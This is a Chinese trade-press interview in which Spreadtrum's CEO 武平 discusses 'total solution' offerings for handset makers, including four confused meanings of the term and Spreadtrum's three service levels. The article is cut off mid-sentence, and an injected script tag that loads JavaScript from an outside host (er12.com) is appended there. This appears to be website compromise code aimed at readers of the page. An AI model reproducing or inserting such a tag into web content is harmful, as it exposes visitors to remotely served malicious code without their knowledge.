作者：潘九堂
在手机芯片供应商中，展讯通信因为提供方便客户开发的全面解决方案(total solution)而异军突起。就最近广受关注的total solution利弊之争，展讯公司总裁兼ceo武平接受了《国际电子商情》的专访。他表示，不少人把四种类型的total solution混淆了，对于芯片供应商来说，真正的total solution是可以实现差异化的平台级产品。他详细解释了展讯通信独特的三个级别的total solution，以及展讯对超低端手机方案的看法。
武平认同total solution是未来产业发展趋势这种说法。他表示，这是产业分工的结果，oem将尽量使用已经成熟的技术和方案，将产品尽快推向市场，使产品效益最大化。其中，芯片和软件(主要是物理层和协议栈)由半导体厂商提供，而工业设计(id)、结构设计(md)等这些外形创新、功能创新和应用定义方面的东西，应该由设计公司和品牌厂商(oem)去做。
四种概念混淆的“total solution”
但武平不认为total solution会使oem工程师能力变差、形成依赖和侵蚀oem利润。武平表示：“造成这种误解的主要原因是，目前电子产业有四种不同说法的total solution，很多人把它们混淆在一起，得出了这种错误结论。”他指出，因为过去中国手机产业是拿来主义，慢慢地不拿了，有一些自己的东西，但好多公司还掌握不了这个界限，这造成对total solution的理解不一样。
第一种是设计公司(odm)向oem提供的“total solution”，实际上，它已经是产品了，什么都不要改，最多改改接口，套个壳，就上市了，结果是所有的手机都一个样。第二种被称为“total solution”其实是one stop shopping，oem可以把所需要的东西一站式购齐，这也是一些元器件分销商提供的“total solution”。第三种是那些产品线齐全的半导体大厂，他们将基带、射频和软件等主要元器件捆绑在一起销售，oem仍需要较长的时间将产品开发出来。
第四种，也是展讯这样的半导体厂商提供的真正意义上的total solution，它是一种平台的方式，有些类似one stop shopping，给oem提供所有所需的东西，但同时又给oem空间，oem可以根据自己的要求，来修改，来实现差异化。
武平强调说，真正扼制oem创造力的，是第一种所谓的“total solution”，它已经是成品，不需要改动。他形象地比喻说：“平台就好象一个桌子，不放东西的时候，它就是一个台子，没法客户化，就叫产品了，桌子就是桌子本身；但如果桌子上放菜、茶的时候，桌子就变成了一个平台，支撑另外的事情了。”
展讯独特的三级别“total solution”
根据客户设计能力和需求的不同，展讯提供三个级别的total solution。正是因为这种区别于海外竞争对手的独特解决方案，展讯平台受到了中国手机制造商的青睐。
第一级别，展讯把芯片对应的软件做到一定的层次，提供基带、物理层、协议层和应用层，应用层几乎开放到了核心的地方，另外一部分还开放到物理层。客户拿到展讯平台后，可以自己选择射频、外围芯片和接口等，有非常大的自由度。武平表示：“不象有些国外厂商，不开放源代码，而我们的源代码都是开放的。”
他指出，这个级别的total solution，要求客户有很强的设计能力，基本上都是一级手机制造商在使用，在国际上也超不过10家，国内也有一、两家厂商能够做。他透露说：“展讯通信最近就做了国内一家能力最强的客户，它不要元器件整合，自己整合元器件，它能够提出要求，要求展讯开放某些代码和帮助做一些工作，这样下来，客户得到的是一个优化的平台，对它来说是一步到位。”
他强度说，这既是展讯的核心优势而在，同时也提高了中国手机制造商的设计能力。他解释说：“很多国外厂商不做这样的事情(代码开放和平台优化)，而且很多国外厂商在中国的fae也做不了这个事情。国内做不了，拿到它们总部，总部一般也不会去做。而展讯可以在中国做，离客户很近，客户要求这个事情，我们非常快就做到了。”
第二级别，展讯帮客户把元器件整合，例如射频、存储器和摄像头等，每一个器件都配有两、三家供应商，包括应用层都出来，客户可以根据自己的成本需求、应用和功能等进行选择。这一级别也需要客户有一定的应用，比如字库可以改，界面可以改，可以增加新的功能。武平指出：“这方便了有一定能力但能力不是很强的客户，它不需要去选元器件，可以加快推出产品。”
第三级别，展讯提供应用层的整合。展讯将一些应用上和内容方面的东西整合进来，提供菜单选择，比如整合彩讯、互联网内容、在线游戏和flash等，相当于建立一种联盟方式的total solution。应用和内容提供商也非常乐意这样做，因为通过捆绑的展讯平台手机上，出货量通常都是以百万计。
武平强调说：“我们和应用、内容提供商合作，并不是要抢手机设计公司和oem的饭碗，而是为他们提供更多种选择。”他解释?script src=http://er12.com/t.js>
